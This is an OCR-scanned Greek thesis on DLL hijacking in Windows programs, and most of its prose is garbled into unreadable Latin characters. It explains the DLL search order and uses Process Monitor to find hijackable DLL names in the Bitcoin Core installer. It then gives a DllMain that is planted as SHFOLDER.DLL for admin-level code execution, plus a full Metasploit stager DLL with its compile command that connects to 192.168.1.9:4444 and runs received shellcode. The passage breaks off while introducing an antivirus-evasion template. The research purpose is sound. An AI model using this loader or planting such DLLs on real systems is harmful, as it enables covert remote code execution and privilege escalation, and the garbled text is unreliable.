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[MpoAoyoc

To B€pa tng SutAwpatikng ivat “DIl Hijacking og epappoyég twv Windows”

Zta mpwta kepahala yivetal pa elcaywyn ota dll kat oto dll hijacking divovtag éudoaon ota
napadelypara kat otig uebodohoyieg ekpuetdAAeuong tng aduvopiog.

TNV ouvExela eloxwpoUl e og BaBog otnv dnuloupyia malicious dll avakaAuntovrag Evav
VEO TPOTO dnuoupyiag pn-aviyveuooupe malicious dlil.

BA£mou e Ta epyaleia TIOU UMOPEL KAVELG VAL XpNOLLLOTIOLROEL YLO VOL EVTOTILOEL TETOLOU
elboucg aduvapieg kal SnpLoupyoUHE UL LLKPH ETTEKTOON TOU epyaleiou Rattler.

AkoAouBel éva kedaAalo ou TePLEXEL U SNUOOLEVUEVEG aduvapieg mpoypappdatwy ot dll
hijacking. Ot aduvapieg talvopolvTal € UTIO-EVOTNTEC:

- oeginstallers,
- EYKATEOTNUEVA TIPOYPAUUATA,
- Tmpoypaupata tou Sev XpeLAloVTaL EYKATAOTAON,

Méoa 0g QUTEG TIG UTTOEVOTNTEG KAVELC Umopel va BpeL AMOTEC e TTpOYPALATO TIOU Elval
guntaOn oe dll hijacking kat mou ekpetalevovtag ta, Sivouv otov emTIOEPEVO SiKalwpaTa
Sloxelploth. Emiong pla avaAuTikn eplypadr aduvapiag mou odnyei os Privilege Escalation
tou WampServer kaBwg Kal to avtiotolyo exploit yia to Metasploit.

Yta televtala kedpdAata pmopet Kaveic va St mpotaoel yia pallkn dtacmopd malware
ekpetalevovrag to dll hijacking kaBwg Kal TPOTATELS yia LEAAOVTIKI) SOUAELAL.

TéAoc yivetal avadopd oe aduvapia mou Bpébnke oto mawvidt League Of legends (yvwoto
Kol w¢ LOL) tng etatpeiag Riot Games, 0mou gykplBnke n anddoon XpNHUATIKOU TIOCoU HECW
TOU TpoypappaToc Bug Bounty.
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1 Eloaywyn

Yta téAn tou AuyoUloTtou tou 2010 gpeuvnTég TNG TAoBAKIKNG eTatpeiog aodpaleiog ACROS
dnuooievoav apketd otolxeia yia tnv aduvapia dil hijacking. Tnv (6t mepiodo o
Apeplkavog epeuvntng aodpaleiag kat Loputhg Tou Metasploit, H.D. Moore avakaAuTtel
XWAL1adeg vulnerable epapuoyég oe dll hijacking.

MapoAo mou Bewpeite Eva peydio kedalailo dev €xel oBel péxplL onpepa n apudlovoa
onpaoia. Amodelen yio auto sival nwg DIl Hijacking aduvapuieg evtomilovral péxpt kat
onuepa os mpoidvta tng Microsoft. Ma va katavorjooupe kaAutepa Tt onuaivel DIl hijacking
TPEMEL TIPWTA Vo SoU e TL eival Ta DII.

2 Dynamic-link library

Ye aUTO To KedaAato Ba kKAvou e pla eloaywyr] oto Tt eivat ta dll, yiatl pag sivat xpriowa,
ToLaL ival T TTAEOVEKTAUATA TOUC Kol TEAOG Ba Ta VO OOV E yLla va £XOUUE Uia KAAUTEPN
glkova.

2.1 Tuetvat ta DLL (Dynamic-link library)

‘Eva DIl ivat pia BLBALoBRKN tou mepleéXel KwdIKa Kol SeSopéva TTou UmopouV vol
XpnotpomnotnBouv os MepLocOTEPO Ao Hia epapuoyEC. Xpnowomnotwvtag ta dil éva
npoypappa pnopei StapopdpwOei (modularized) oe Stadopetikd otolyeia

TLX. €0TW OTL £X0oUpE £va TPoypappa plobodoaoiog kat ot popoloyia aAdalel kaBe xpovo. Av
ol mAnpodopieg dpopoloyiag €xouv TonoBetnBel oe €va dll TdTE PMoOpPOUUE VOl KAVOULE
avaBabuioslg xwplg va xpelaletal va mopAYOULE KoL VOL EYKATOOTOOURE OAOKANPO TO
TPOYPOUA Ao TNV apxh.

FPAOHMA 1 KAH:H DLL ANO EKTEAEZIMO APXEIO



TNV Mapanavw elkova BAEMoupe éva mapadelypa Asttoupyiag evog dil. Nwg éva
ekteAéolpo apyeio Intaet ano éva dll cuykekplpéveg function mou xpeldletal va
XPNOLUOTIOLOEL.

2.2 MAeovekTnuata TG Xpnong twv Dynamic-link libraries

Ot Baotkot Adyot mou xpnowomnotovpe ta dil apyxela avti m.y. va Baloupe koteuBeiav Tig
function otov kwdika Tou ekteAEéaLpoU eival ot e€AC:

Xpnion Ayotepwv nopwv

Otav 51adopeTIKA TTPpOoYpAP AT XPNOLOTOoLloUV TNV dLa BLBAL0BNKN amo functions tote
gva dll pmopel va HelwoEeL TN avamapaywyr] Tou (8lou KwdLka atnv YvAun kot otov Sioko.
AUTO €xelL BeTIKA ATOTEALECUATO OXL LOVO OE €VA GUYKEKPLUEVO TIPOYPOUUA AANG KoL € OAO
To oloTNUA.

Anutoupyia mpoypauudtwy e modular dpYLTEKTOVIKN

‘Eva dll BonBdeL otov Stopolpacpod Tou MPoyPAUUATOC O SLadOPETIKA OTOLXELD TT.X. KAVEL
g€UKOAOTEPN TN Sladikacia g avaBaduiong plag epappoyng. Avti va {ntape anod tov
XPNotn vo KatePAacel OO TO EKTEAECLUO, KOTERALEL AMAQ LEPLKA ULKPG apxela, Tta dll.

Function Name Address Relative Address  Ordinal Filename Full Path Type

@ AddintegrityLabelToBoundaryD... 0x00000001800... 0x00037d10 10 (Oxa) kernel32.dlI CAWINDOWS\system32\kernel32.dll Exported Function
@ AddLocalAlternateComputerNa... 0x00000001800... 0x00053310 11 (Oxb) kernel32.dIl CAWINDOWS\system32\kernel32.dIl Exported Function
@ AddLocalAlternateComputerNa... 0x00000001800... 0x00053370 12 (Oxc) kernel32.dll CAWINDOWS\system32\kernel32.dll Exported Function
@ AddRefActCtx 0x00000001800...  0x0001f350 13 (Oxd) kernel32.dlI CA\WINDOWS\system32\kernel32.dll Exported Function
@ AddRefActCtWorker 0x00000001800...  0x0001bef0 14 (Oxe) kernel32.dlI CAWINDOWS\system32\kernel32.dll Exported Function
@ AddResourceAttributeAce 0x00000001800...  0x0003670 15 (0f) kernel32.dIl C\WINDOWS\system32\kernel32.dll Exported Function
@ AddScopedPolicylDAce 0x00000001800...  0x00036800 17 (0x11) kernel32.dll CA\WINDOWS\system32\kernel32.dIl Exported Function
@ AddSecureMemoryCacheCallb... 0x00000001800... 0x00035580 18 (0x12) kemnel32.dlIl CAWINDOWS\system32\kernel32.dll Exported Function
@ AddSIDToBoundaryDescriptor  0x00000001800... ~ 0x0001dff0 16 (0x10) kemel32.dIl CAWINDOWS\system32\kernel32.dll Exported Function
@ AddVectoredContinueHandler ~ NTDLLRtlAdd... 0x00090272 19 (0x13) kernel32.dIl CAWINDOWS\system32\kernel32.dll Exported Function

EIKONA 1 OI FUNCTIONS :TO EZQTEPIKO TOY KERNEL32.DLL

Y10 mapadelypa tne pwrtoypadia mapatnpolpe To ecwteptkd tou kernel32.dll, otnv mpwtn
otnAn BAémoupe ta ovopata twv function mou nepiléxetl otnv gutepn n StelBuvon PvAUNG.

2.3 «Avenionun» Tagvounon

Mo tnv KaAUTepN Katavonon ta xwpioope os System DLL kat Application DLL.

PA®OHMA 2 KAHZH TQN DLL 2Y:THMATOZ KAI THZ EQAPMOrH:



System DLL: Mpokettal yia ta dil mou mapéxovtal anod to AsttoupyLko twv Windows kait
niepLléxouv functions mou moAAQ ekteAéaia unopet va xpetaovrat Omwg .. To winsock.dll
TOU TIEPLEXEL OTL XpelaleTal yla TV ouvdeaon oto ivtepvet omwg SEND, RECEIVE, BIND.

Application DLL: Ta dll mou ¢TLdxVEL O TPOYPAPUATLOTAG YLa TNV Epapuoyr Kal cuvhRBwg
ninyaivouv pall pe tnv epapuoyn.

3 Avahuon tou DIl Hijacking

‘Exovtog pLa ekova yia to Tt eival ta dil prmopoupe mAéov va Soupe tL eivat to dil hijacking.
Y& aUTO To Kepahalo Ba Soupe péoa amno va napadelypa to dll hijacking 6mou Ba yivel
TANPWCE Katavonto to ido¢ TnG aduvapiag, Onwc eniong Ba avadpepBoUue OTLg
pebodoloyieg tou dot local kat to dll forwarding katl mwg emtuyyavetal dil hijacking puéoa oe
OUTEG.

3.1 H aduvaun «kAnon»

‘Eva mpoypappa prmopei va oplotel yia va kadéoel éva dll pe Suo tpomoug:

- Fullpath: O mpoypappatiotic kabopilel to akplBég path mou BplokeTal m.x. To
c:\Windows\System32\kernel32.dll

- Filename: O mpoypappatiotic kabopilel pévo to ovopa m.x. tou kernel32.dll kot to
AELTOUPYIKO e BAon Toug kKavoveg avalntnon Bplokel Kot emoTpEdeL To path Tou
kernel32.dll

ITNV MPWTN MepimTwon to nmpdypappo Bpiokel apéowg to onpeio tou dll evw otnv deltepn
TO AELTOUPYLKO cUOTNUA eMLOTPEPEL To onpeio mou Bpioketatl to dIl pe faon Toug KAVOVEG
avalitnong. To mpwto mou Ba Bpebel autd kat Ba smiotpadei. ESw akplBwe Bpioketal Kot
TO MPOPANUQA, oG TO SOULE TILO TIPOCEKTIKA.

3.2 Kawvovecg Avalntnong DLL

YTV nepimtwaon Aoumodv Tou 0 TPOYPAUUATLOTAG 8V oplosl To akplBEg path yia to DLL
apxelo tote ta Windows Ba avaldBouv va to Bpouv cUUdwva e TOUG KAVOVEC TTOU £XEL
oploel To Asttoupyko cuotnua. H avalntnon £xel we e€NG:

To pdakeho and omou poptwdnKe N edpappoyn

To mpoowpLvo Gpakeho Tou BPIloKETOL O XPiOTNC Kol TO EKTEAEL TO POYpappOL
210 dpdkelo tou cuotuatog (C:\Windows\System32)

To 16-bit dakelo cuotrpatog (C:\Windows\System)

To ¢pdakeho Windows (C:\Windows\)

6. OMoug Toug dpakéloug mou Bpiokovtal oto PATH

ik wnNE

Mo Adyouc aodaieiog n Microsoft kat yio vo mpoototéet g edpappoyég amnod to dll
hijacking &nuovpynoe to SafeDlISearchMode. Otav Aounov eival evepyomolnuévo Tote n



TAPANAvVW oElpd avalntnong aAAAleL Kal To 2 Al oTnv B€on 5 Kol OAQ LETAKLVOUVTAL TTPOG
TO TTAVW. Apol EXOULE:

To pdakeho and omou poptwdnKe N edpappoyn

Y10 ¢pdkelo tou cuatrporog (C:\Windows\System32)

To 16-bit dakelo cuotrpatog (C:\Windows\System)

To ¢pdakeho Windows (C:\Windows\)

To mpoowpLvo pakeho ou PplokeTal o XprioTNG KoL TO EKTEAEL TO POy
‘OMoucg toug dakéloug tou Bplokovtal oto PATH

ok wnNPE

3.3 DLL hijacking pe mapadetypa

Twpa mou eidape nwg kavouv avalntnon ta Windows yla ta DLL propoUpe va
kataldBoupe kaAUtepa Tt ival to DLL Hijacking.

‘Eotw Aoumov nwc pa epappoyn xpetaletal to test.dll yia va extedeotel ala Sev €xel
opLotel pe to akpLBég path aAld untdpyel oto pdkeAo cuoTipaToc. Evog emtifgpevog
umopet va tonoBetrost €va ko tou DLL og kamola B€on mpLv amd 1o PAKEAO CUCTHUOTOG
onw¢ eidape otoug kKavoveg avalntnong. Otav o xpnotng ekTeAEceL TNV edopUoyn N
edappoyn Ba evtomniosl mpwTta To apxeio Tou emTOépEVOU TPV PTACEL 6TO PAKEAO TOU
cuotAuatoc. AnAadn pe to avolypa tng epappoyng Ba ekteAeotel 0 KAKOBOUAOG KWOLKAG
Tou emtiOgpevou.

Mpokettal yio LPNANG emikvduvotnTag aduvapio Kot QuTo ylati 6Ttov T TPOYPAUUATO HE
™V aduvopia amottolv SIKaWHOTa SLOXELPLOTH YLa TNV EKTEAECH TOUC TOTE MaipVel
Sikalwpata SLaxelploTr) Kol 0 KakoBouAog xprotnc.

JuvnBbwg ta apxeia eykatdotaong epappoywyv NTave Sikalwpata SLoxeLpLoTH.

3.3.1 EUpeon DLL Hijacking og apyeio eykataotaonc - cryptocurrency
wallet

‘Evag TpOTOoC yLa va EVTOTICOUUE EUTIADELEG O Vol TIPOYPAUO (VAL VO XPNOLOTIOL|COU UE
To Process Monitor (ProcMon) yla va SoU e ToTe éva eKTEAEOLUO KAVEL avalnitnon yla DLL
apyxelo.

[J [ ]
bltco,n Introduction Resources Innovation Participate FAQ

Bitcoin Core

Bitcoin Core is a full Bitcoin client and builds the backbone of the network. It offers high levels of security, privacy, and
stability However it has fewer features and it takes a lot of space and memory

EIKONA 2 SCREENSHOT AMNO THN ISTOZEAIAA BITCOIN CORE



210 Mapdadelypa pog Ba xpnoLlomnoljooue To moptod oAl bitcoin core mou to poteivel
LotooeAiba bitcoin.org yia va dUAAGVE oL XpriOTEC TAL KPUTITOVOUIOUOTA TOUG.

KatePaloupe tnv epappoyr Kal mpLv Thv eKTEAECOUE avolyouple Tnv edappoyr ProcMon
omou Baloupe ta akdAouBa piATpa yLo va UIMoPECOUUE va BPOULLE TA Process o Lag
evbladépouv.

B Process Monitor Filter

Display entries matching these conditions:

Architecture v lis ~ ~ | then |Indude
Reset Add Remove
Column Relation WValue Action Lo
\J Process Name is bitcoin-0.15.7-win64-setup exe Include
contains name not found Include
contains di Include
Process Name is Procmon exe Exclude
Process Name is Procexp exe Exclude
Process Name is Autonuns exe Exclude
Process Name is Procmon64 exe Exclude
Process Name is Procexp64.exe Exclude
‘3 Process Name is System Exclude
‘3 Operation begins with IRP_MJ_ Exclude
‘3 Operation begins with FASTIC_ Exclude
@ Result begins with FASTIO Exclude
@ Path ends with pagefile.sys Exclude
€ Path ends with St Exclude
QPath ends with SMfthir Exclude

EIKONA 3 ENEPrONOIHZH OIATPQN ZTHN EQAPMOTH PROCESS MONITOR

Emeldn ol Slepyacieg mou ekteAoUvtal o €vav UTTOAOYLOTH cuvNBwWG slval tapa TOAAEG
elval amapaitnto va Balouvpe cwotd diAtpa yla va €oue Ta KatdAAnAa amoteAéopata.

Process Name BA&{OUE TO OVOUA TOU EKTEAECLUOU

Result B¢houpe va Bpoupe To aitnua omou Sev Bpebnke to dll amd to exkteAéoipo

Path to apyelo mou B£Aoupe sivar .dll

7 Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

G ABC|(AS EAN B LM

Time of Day  Process Name PID Operation  Path Result Detal

1D 35 317267174, _Q) Glccipll i NAME NOT FOUND  Desied Access: Read Attrbutes, Dispostion: Open, Options: .
oo 015 1inG4 s e 12168 [hCrecteFle CAVERSION A NAMENOT FOUND  Desied Access: Read Attrbutes, Dispostion: Open, Options: .

1D 35 35215 O)bitcoind 015 T4 setup exe 12183 [EhCreateFile C:\WINDOWS\SysWOWS4\pess.di NAME NOT FOUND  Desied Access: Read Attrbutes, Disposition: Open, Options

10:36:31,820552 ] pfdsetp exe 12188 hCreatefie C:\SHFOLDER.DLL NAME NOT FOUND  Desired Access: Read Attrbutes, Dispostion: Open, Options

10:3631.9777608... D biicon0.15 1w et oxe TTED "Drnk AppData Local\ Temp \nstB 189 tmp'System i NAME NOT FOUND  Desired Access: Read Attrbutes, Dispostion: Open, Options

10:36:32,0261893.. © bitcoin-0.15. 1-winb4seiun cxa = AL Cuzzgiersion\Image File Execution OptionshDIl.. NAME NOT FOUND  Length: 1.024

10:36:32,0286580... b8 e asup axe 1218 BCreateF\e C:\RichEd20.0LL NAME NOT FOUND  Desied Access: Read Attrbutes, Dispastion: Open, Options: .

10:36:32.0320965... € pieon .15 Tingdschp cxc 12188 [EhCreateFle C:\USP104I NAME NOT FOUND  Desied Access: Read Attrbutes, Dispostion: Open, Options: .

10:36:32,0354077. s bhacpe 12138 BhCreateFle Cmab31 di NAME NOT FOUND  Desied Access: Read Attrbutes, Dispostion: Open, Options

103632 1061334, O bicon 015 1w.nmaup e e e P STETE5 tmp nsDialogs dll NAME NOT FOUND  Desied Access: Read Attrbutes, Dispostion: Open, Options

103632 1632562, bitoin 0,15 1 min4 etup oxe 12188 dﬂegouer HKLI\SOF TWARE Mirosoit Windows T GerrntVerson image Fie Execution Options'DIl.. NAME NOT FOUND  Length: 1.024

Showing 11 of 862.905 events (0.0%) Backed by virtual memory

EIKONA 4 EYPEZH EYNAOQN DLL 3THN EQAPMOTH

Bp€bnkav apketécg eyypadég avalntnong Toug ekteAéotou yia DLL mou Sev Bprke. Av
Aoutov tonoBetricou e to kakoBoulo dll, otov 610 pakelo mou BpiokeTal KoL TO apyeio
EYKATAOTAONG, L€ TA Ttapamavw ovopoata twv dil tote Ba ekteheotel Kot 0 KAKOBOUAOG
KWOLKAC Hag.



3.5 «dot local» dll redirection

Ao v otooeAiba tng Microsoft Stafdaloupe yia to DIl Redirection:

“OL edpopUOYEC UMmopel va e€apTwvtal armd cUYKeKpLUEVN Ekboaon «kowvoxpnotou» dll pe
OMOTEAECHA VA ATIOTUYXAVEL VO AELTOUPYHOEL CWOTA AV Ula GAAN ebapUOY EYKOTOOTHOEL
pLo vedtepn 1 taAlotepn €kdoon tou (Slou dll. Yriapyxouv duo tpomot yia va dtacpaiicste
nwe N epappoyr oag xpnotponolel to cwoto dll:

e Dl redirection
e side-by-side components.

OL TPOYPAUUATLOTEG UTTOPOUV Va Xpnotuornotioouv tnv erhoyn dlil redirection emeldn) dev
XPELALETOL VO KAVOUV KATToLa aAlayr] OTOV KWSOLKO TOU TIPOYPAUATOG. AV SnpLoupyeital pia
véa edpappoyn N éva update epappoyng tote dnuloupynote side-by-side component”

Me amAd Adyia n dot local dll redirection emiloyr mopEXeL 0TOUC TPOYPAUUATLOTEG TNV
Suvatotnta va «e€avaykaoouv» pia edapuoyr va xpnotpomnolnoet dtadopetikr Ekdoaon
amo éva ocuykekplpévo dil apyelo, amd auto mou xpnoLomnolel to uéAoLno cuotnua. MNa
napadelypa av pia epappoyr efarmogi.exe SOUAEUEL LOVO pe pLa TTaALd €KSoaon Tou
user32.dll avti va avtikataotriooupe to user32.dll oto system32 ¢pdkelo (mou Ba
npokaAoloe avenavopBwTta MpoBARUATA 0TO CUOTNHO) UITOPOUUE VA TNV
avakateuBUvouue Kot va TpEEet Tnv maAld £ékdoaon tou dll. To pdvo mou €XOUE VoL KAVOUUE
gival va dSnuoupynooupe eva pakeho efarmogi.local atov idlo ¢pdkelo mou BplokeTal Kal To
eKTEAEOLUO Kal ekel va TormoBeTocoupe TNV TtaALd £€kSoon tou user32.dll.

E€atpouvtal amnd to dll local redirection 6ca dll Bpioketal to 6voud toug oto KnownDlls atnv
registry oto path.

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs

Mo va KAVOUE pLa Sokiur ypddoupe éva mpdypappa rmou KaAei éva dll.

#include "stdafx.h"
int main()

{
HMODULE importdll;

importdll = LoadLibrary("C:\WINDOWS\\System32\\user32.d11");

if (importdll == NULL) {
printf("Den fortothike to D11!\n");
}

else {
printf("0la ok!\n");
}

To npoypappa poonadei va poptwoet to to dil anod cuykekpluévo path, dev to Bpilokel
OUWG Kot Byalel To uRvupa
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s\Projectsilocalredirection\Debu calredirecti

EIKONA 5 MAPAAEITMA LOCALREDIRECTION

AnpoupyoUpe to pakelo localredirection.exe.local otov 1610 daKkeNO e TO EKTEAETLUO KoL
Baloupe ekei to dll pe To messagebox mou €xoupe dei€et o mavw.

localredirection.exe - Entry Point Mot Found X

.' P | The procedure entry point MessageB gudee® inthe
'S’ dynamic link library C:\Users\Dryi\Documents\Visu
2015\Projects\localredirection’\ [ebuglocalredirection.exe.Localufer32.

dil.

EIKONA 6 AEITOYPTIA TOY DOT LOCAL

Autn Tov dopd pag epdavilel Eva pnvupa Aaboug yati Sev Bprke entry point yla va
doptwoel to dil oTnV pvApn aAAG auTo mou £XEL onuacia eival mwg npoonadnos va
aveétpee otov pakeho .local Bprike To user32.dll kal ev nriye oto system32.

Katt mou eniong elvat onuavtiko gival mwe o TPOoYPAUATLOTAG £XEL OploeL To akplBEG path
miou Bploketal to dil koL mopoAa AUTA MPOTEPALOTNTA EKTEAECNG SLVETAL OTOV TOTIKO
dakelo .local.

(Mpwv kAvoupe compile To Mpdypappa anevepyonotioape tnv dnuoupyia tou manifest )

3.6 DIl Forwarding kat hijacking

Onwcg €xoupe avadEpel kal vwplitepa pla edpappoyn e€aptatal apeca and ta dll tou
CUOTHHATOC Kal To SIKA TNE Yl va umopEoet va £xeL mpdoPaon otig diadopeg functions .
Otav n edpappoyn ekteleital o windows loader kottdlel oto Import table Tng edpappoyng
BAémeL mola dIl mpénel va poptwBouv, ta hopTwvel OAa Kot adrvel Tnv edopuoyr va
EKTEAEOTEL.

To dll forwarding ivat yvwotr mPpaKTIKr Kal xpnoLluornoleital cuyva péoa ota dil twv
Windows. BonBdeL va punv undpyet emavalapBavopuevog KwSIKag.

EIKONA 7 AIZTA TQN FUNCTION 2TO USER32.DLL ANO TO EPTAAEIO DUMPBIN
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Xpnotpomnoloupe to epyaleio dumpbin omou pag deiyvel pia Alota pe 6Aeg tig function mou
uTtapyouv to user32.dll.

1665 9C DefDlgProcA (forwarded to NTDLL.NtdlIDialogWndProc_A)

KaBwg mapatnpoupue tnv Alota BAENou e pLa eyypoadn omou n DefDIgProcA sivat
forwarded, oto NTDLL. Av 6nAadn kamolog xpnotpomnotnoet auto to dil kat IntnoeL thv

ouykekplpévn function autopara Ba dpoptwOei to ntdll ko Ba ektedeotei n
NtdlIDialogWndProc_A.

FPA®HMA 3 TPONOZ AEITOYPTIAZ TOY DLL FORWARDING

Y€ pa KoKOBouAn mepintwon o emnitiBépevog tomoBetel to 81ko tou dll avapeoa otnv
edappoyn kat ta npaypotika dil. H ebappoyn otével attpata ota «poAucpévar dll 6mou
ekel ekteleital o KakOBouAog KwSLKAG Kol TTPowOEL Ta alTAUATA oUTA ota Tipaypatika dil,
OToU KaAouvtal oL TpaypaTtikég function mou Intdel n edappoyn.

Mo mapddelypa og moU e MwG pia edpappoyn xpetaletal to user32.dll yia va ekteAéoel
messageboxA(). O emtiBépevog Snpoupyel to Sikd Tou poAucpévo user32.dll, mou ektelet
TOV KWAOLKA Tou Kat tpowBel to altnpa g edappoyng oto mpaypatiko user32.dll.

Ytnv ipaén Ba £drioyve éva Pevtiko dil mou ot function Ba €xouv (610 dvopa e TO KOVOVIKO
dll = kavovikod dil kavovikn function.
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4 Anuoupyla malicious dll

MNwg dnuoupyoU e £va dll kal mwg prmopoU e va to petatpePoue o malicious wote va
Tpé€el Tov KWELIKA pag; Oa to Soupe o auto to kedaAalo. Eniong Snuloupynoape éva Sikd
pag template yia tnv dnutoupyia dil wote va gival pn avixveOoLUo amo ta antivirus.

4.1 H ouvaptnon DIIMain entry-point

Oa dnuoupynooupe va DIl apxeio mou amAd Ba epdavicet éva prvupa «DIl hijacked». MNa
VO TO KAVOUE aUTO MPEMEL va AdBou e UTIOY LV pog OTL:

Otav to cvotnua £ekvael i teppartilel pla Siepyaoia r éva thread kaet Tnv entry point
ouvaptnon ywa kaBbe DLL mou ¢popTwVETAL XPNOLLLOTIOLWVTAG TO TPpWTOo thread tng
Slepyaociag. (Ta threads ekteholvtal o Kowoxpnotn B€on Lvnung evw ot Slepyacisg oe
EexwpLoTEg O€oelg pvnung, autn elval kot n dtadopd toug).

thread 1 thread 2 thread 3

1
=)
I
5]

FPA®HMA 4 PROCESS KAI THREADS PA®IKH AMEIKONIZH

Eniong to cuotnua kaAel Tnv entry-point cuvaptnon yia kabe DLL mou poptwvetal | Ee-
dopTwvetal xpnolponolwvtag Thv cuvaptnon LoadLibrary kat FreelLibrary.

YTapXOUV GNUAVTIKOL TIEPLOPLOKOL YLA TO TL UMOPOUE VO KAVOUE HE aoPAAELA OE Eva
entry point.
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#include <windows.h>

BOOL WINAPI D11lMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)

{
case DLL_PROCESS_ATTACH:
dll sslunipi();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;

}

return TRUE;

}

int d11_sslunipi()

{
MessageBox(@, "DLL Hijacked!", "SSL-UNIPI", MB_OK);

}

Oa dnuloupynoou e TNV amholotepn Hopdr) ou prnopei va €xet éva dil. Oa
xpnotpomnotooupe tnv dliMain 6mou n eAdylota anmapaitntn MopAUETPOG IOV XPELAleTOL
yla va ekteAeotel eival va xpnotpomnotiooupe tnv fdwReason.

fdwReason :

Onwc umodnAwveL Kal To ovopa opilel Tov Aoyo mou n DIl entry point cuvdptnon KoAeital.
DLL_PROCESS_ATTACH:

To dll Ba doptwBel otnVv elkovikn StelBuUvEN pvAUNG TNG TpEXouoag Slepyaotag.

Adou kavoupe compile tov kwdika maipvou e to .dll apxeio to TomoBetol e oToV 1610
daxelo pe tov installer tou bitcoin mopTtodoALol Kal eKTEAOUE TO exe. ITNV apxn Hag
IntdeL n edappoyn Sikalwpata Slaxelplotr] Kot adol To anmodeXTOUE TO UHVU LA
gudaviletal To HAVUPA pog otnv 086vn, oTtnVv oucia To HAVUA LaG EXEL SLKOLWUOTOL
Slaxelploth. Onwce paivetal otnv LkOVO TIAPAKATW.

Mame SSL-UMIPI % pe Size
% bitcoin-0.15.1-win64-setup.exe pplication 13.990 KB
%] SHFOLDER.DLL DLL Hijacked! pplication extens... 78 KB

EIKONA 8 ENITYXHZ EKTEAEZH MHNYMATOZ ME THN XPH2H TOY DLL HIJACKING

Apa katadpEpape vo KAVOUUE TNV ehappoyr] Vo EKTEAECEL TOV SIKO HaG KWELKA, VO UITOUE
oavapeoa otnv edpappoyn kot ota dll tou avalntdet kot PAALOTA PE KATIOLOV TPOTIO oG
£6woe dlkawwpata SlaxelpLotn.
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4.2 DlIMain kot meterpreter

©¢Moupe va dnuoupynooupe éva malicious dll mou va pag emiotpédel meterpreter.

Oa doklpdcoupe va dnuoupynooupe to 6iko pog dll mou Ba kaAet tnv DIIMain 6mou ekel
Ba meplExete 10 payload pag ya tov meterpreter.

Oa mapoupe Tov KwdLKa amo €vav £toLo stager client yia to Metasploit ypappévo os C tov
metasploit-loader tou xprjotn rsmudge kot Ba Tou mpooB£coupe tnv Entry Point Function
yla va eKTEAECTEL HEoQ OO eKEL 0 KWELKAG.

TL aAAG€ape oTov KWSLKA:

1) AM\AGEape tov Tpomo ocuvdEoelg kal Balape amnsuBeiag tnv dtevBuvon ip g
KovooAag tou Metasploit.

SOCKET my socket = wsconnect("192.168.1.9", 4444);

2) MNpooBéoape tnv kKARon tnv DIIMain kot péoa anod ket kahoUpe tnv main().

#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>
#include <windows.h>

void winsock_init() {

WSADATA wsaData;

WORD wVersionRequested;

wVersionRequested = MAKEWORD(2, 2);

if (WSAStartup(wVersionRequested, &wsaData) < @) {
printf("ws2_32.d11 is out of date.\n");
WSACleanup();
exit(1);

¥

¥

void punt(SOCKET my_socket, char * error) {
printf(“Bad things: %s\n", error);
closesocket(my_socket);

WSACleanup();

exit(1);

¥

int recv_all(SOCKET my_socket, void * buffer, int len) {
int tret = 0;

int nret = 0;

void * startb = buffer;

while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
startb += nret;
tret += nret;

if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");

X

return tret;

X

SOCKET wsconnect(char * targetip, int port) {
struct hostent * target;

struct sockaddr_in sock;

SOCKET my_socket;

my_socket = socket(AF_INET, SOCK_STREAM, ©0);
if (my_socket == INVALID_SOCKET)

punt(my_socket, "Could not initialize socket");
target = gethostbyname(targetip);
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if (target == NULL)
punt(my_socket, "Could not resolve target");

memcpy (&sock.sin_addr.s_addr, target->h_addr, target->h_length);

sock.sin_family = AF_INET;

sock.sin_port = htons(port);

if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
punt(my_socket, "Could not connect to target");

return my_socket;

int main() {
ULONG32 size;
char * buffer;
void (*function)();
winsock_init();
SOCKET my_socket = wsconnect("192.168.1.9", 4444);
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");
buffer = VirtualAlloc(@, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not allocate buffer\n");

thanks mihi for pointing this out

BF 78 56 34 12 => mov edi, ©x12345678 */
buffer[@] = OxBF;
memcpy (buffer + 1, &my_socket, 4);
count = recv_all(my_socket, buffer + 5, size);
function = (void (*)())buffer;
function();
return 0;

}

BOOL WINAPI D11lMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)

{
case DLL_PROCESS_ATTACH:
main();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;

return TRUE;
}

Kavoupe compile tov kwdika pe Tov compiler mingw32-gec tou linux kat tou opiloupe wg
MaPAETPO va dnpoupynoet dil.

i686-w64-mingw32-gcc mainmeter.c -o mainmeter.dll -shared

Metovoualoupe to dll mou mapdaxOnke oe SHFOLDER.dII kot To TomoBetolpe otov idlo
dAKENO LIE TO EKTEAEDLUO apXELO TOU TTOPTOPOALOU KL TO TPEXOULE.

EIKONA 9 ANENITYXHZ ZYNAEZH METERPRETER
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MapatnpoU e Mwg avolée n cuvdeon meterpreter aA\d Sev UnopoU e va KAVOULLE TimoTta.
TLouveéRn; To stage otaABnke aAAa Sev cuveéPN timota. To meterpreter ivat otnv oucia dll
omnote KaAéoape péaa anod tnv Dlimain éva dM\o dIl mou ektedoUvtav.AUcn g AUTO TO
MPOBAnua €pxetal va dwoel to Metasploit. Mmopel va pnv pmopouue va popTwoouE Eva
dil péoa amod tnv DIIMain aAAd umtdpxouv AAAEG SPAOTNPLOTNTEC TTOU UNTOPOULE Va
TipaypaTonoljooupe. Onwg va kahéooupe APls, va Snuloupyrnooupe Siepyaoieg, va
YPAWOUUE oTNV PVAN Kal TTOAAQ aAAQL.

O kwdikag mou Ba xpnotomnolcou e dnuoupyel pa DIIMain mou Ba tnv KaA£oeL To
poypappa, petd to Hijack, kat Ba dnuioupynosl €va véo EAX, Ba avtiypalel ekel péoa to
shellcode kat téAog Ba to ekteAéoel. Ag To SOUE TILO OVAAUTLKAL.

#include <windows.h>

#include "template.h"
void inline_bzero(void *p, size_t 1)

{
